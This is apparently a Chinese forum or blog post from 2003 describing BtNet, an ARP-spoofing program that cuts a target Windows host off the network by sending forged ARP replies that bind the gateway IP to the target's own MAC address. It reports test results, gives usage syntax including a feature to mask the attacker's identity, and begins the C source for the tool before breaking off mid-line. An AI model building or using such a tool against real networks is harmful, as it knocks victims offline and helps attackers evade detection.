最近開始學WINPCAP,看了很多高手寫的基于arp欺騙的抓包工具,尤其是電子科大的TOo2y師兄的《詳談調用winpcap驅動寫arp多功能工具》,令我收益非淺。下面是我把這個思想改成arp攻擊程序(可令目標主機斷開網絡連接)的一些測試。高手請略過,以免有班門弄斧之閑。
一般的arp spoof是向被欺騙主機發送ARP REPLY數據報,把其中的源IP地址置為被欺騙主機要發包去的主機地址,源MAC地址卻改為自己的MAC地址。假設有兩臺機器A,B,發送一個ARP REPLY數據報給A,其中源IP地址為B的地址,源MAC地址為我的機器的MAC地址(IPRouter功能打開確保數據被轉發),那么A發送到B的數據報就發到我的機器上了,同樣對B做相同到操作,那么A<==>B之間的數據就會源源不斷的通過我的機器轉發,直到一個正常的ARP包更改了A,B的arp緩存為止。
那么我們把發送給A的arp數據報的源IP,源MAC更改成任意的,會出現什么現象?下面是我的幾個測試
1. 源IP更改為網關IP,源MAC改為不存在的MAC地址
對目標主機幾乎不影響
2. 源IP更改為網關IP,源MAC改為內網內任意一臺存在但沒有開啟IPRouter的主機的MAC地址
幾乎不影響
3. 源IP更改為網關IP,源MAC改為目標主機的MAC
目標主機立刻斷網!
可見當發送經過我們構造的ARP REALY包給目標主機時,會使目標主機的ARP緩存更改,數據封裝到MAC層的時候會把網關的IP和自己的MAC地址封裝到一起,那么發送到網關的數據報只好發給自己了,呵呵。
至于第1種情況,猜想大概是由于MAC地址不存在,目標主機會廣播一個ARP REQUEST包而更新了自己的ARP緩存所致。
至于第2種情況,猜想源MAC地址所屬主機會返回一個ARP REPLY給目標主機。
水平有限,所以只是猜想,知道的請告訴我一聲,先謝過了。
再說一下,以上測試只對于windows系統,當然也測試過對沒有配置好的Red Hat成功過。
測試程序(BtNet.exe)說明:
Usage: BtNet -h attackIP -o gateIP [-m spoofedMAC]
-m參數是你要修改的源MAC地址.
為了隱蔽攻擊者身份,程序再得到目標主機MAC地址時偽裝成IP:128.128.128.128,MAC:a5-a5-a5-a5-a5-a5,可能會得不到目標主機的MAC地址,那么要得到MAC地址請借助第三方工具。
附測試程序代碼
#include "packet32.h"
#include "ntddndis.h"
#include
#include
#include
#include
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"packet")
#define ETH_IP 0x0800
#define ETH_ARP 0x0806
#define ARP_REQUEST 0x0001 //arp請求包
#define ARP_REPLY 0x0002 //arp應答包
#define ARP_HARDWARE 0x0001
#define max_num_adapter 10
#pragma pack(push,1)
typedef struct ethdr
{
unsigned char eh_dst[6]; //以太網目的地址
unsigned char eh_src[6]; //以太網源地址
unsigned short eh_type; //
}ETHDR,*PETHDR;
typedef struct arphdr //arp頭
{
unsigned short arp_hdr; //硬件類型
unsigned short arp_pro; //協議類型
unsigned char arp_hln; //硬件地址長度
unsigned char arp_pln; //協議地址長度
unsigned short arp_opt; //
unsigned char arp_sha[6]; //發送端以太網地址
unsigned long arp_spa; //發送端ip地址
unsigned char arp_tha[6]; //接收端以太網地址
unsigned long arp_tpa; //接收端ip地址
}ARPHDR,*PARPHDR;
typedef struct ip_mac
{
u_long ip;
unsigned char mac[6];
}IP_MAC,*PIP_MAC;
#pragma pack(push)
LPADAPTER lpAdapter;
char adapterlist[max_num_adapter][1024];
IP_MAC toipandmac;
IP_MAC oipandmac,myipandmac;
BOOL param6=FALSE;
char *noMACstr;
char noMAC[6][3];
u_long mytoIP,oIP;
BOOL sendtoOip;
MSG msg;
UINT newtimer;
char MYIP[20]="128.128.128.128";
BOOL toipandmac_flag=FALSE,myipandmac_flag=FALSE,oipandmac_flag=FALSE;
int getint(char c)
{
int t=-1;
if((c<='9')&&(c>='0'))
t=c-'0';
else if((c>='a')&&(c<='f'))
t=10+c-'a';
else if((c>='A')&&(c<='F'))
t=10+c-'A';
return t;
}
void start()
{
printf("BtNet //--an ARP Tool test the Windows Break the Internetn");
printf("written by Ruder,10/2003n");
printf("Homepage: http://xEyes.cdut.net/ruder/index.htm;n");
printf("E-mail: cocoruder@163.comn");
printf("nUsage: BtNet -h attackIP -o gateIP [-m spoofedMAC]n");
printf("Example:n");
printf("BtNet -h 202.115.138.12 -o 202.115.138.1n");
printf("BtNet -h 202.115.138.12 -o 202.115.138.1 -m 00-50-fc-6a--6b--7cn");
printf(" Warning: You must have installed the winpcap_2.3 or |


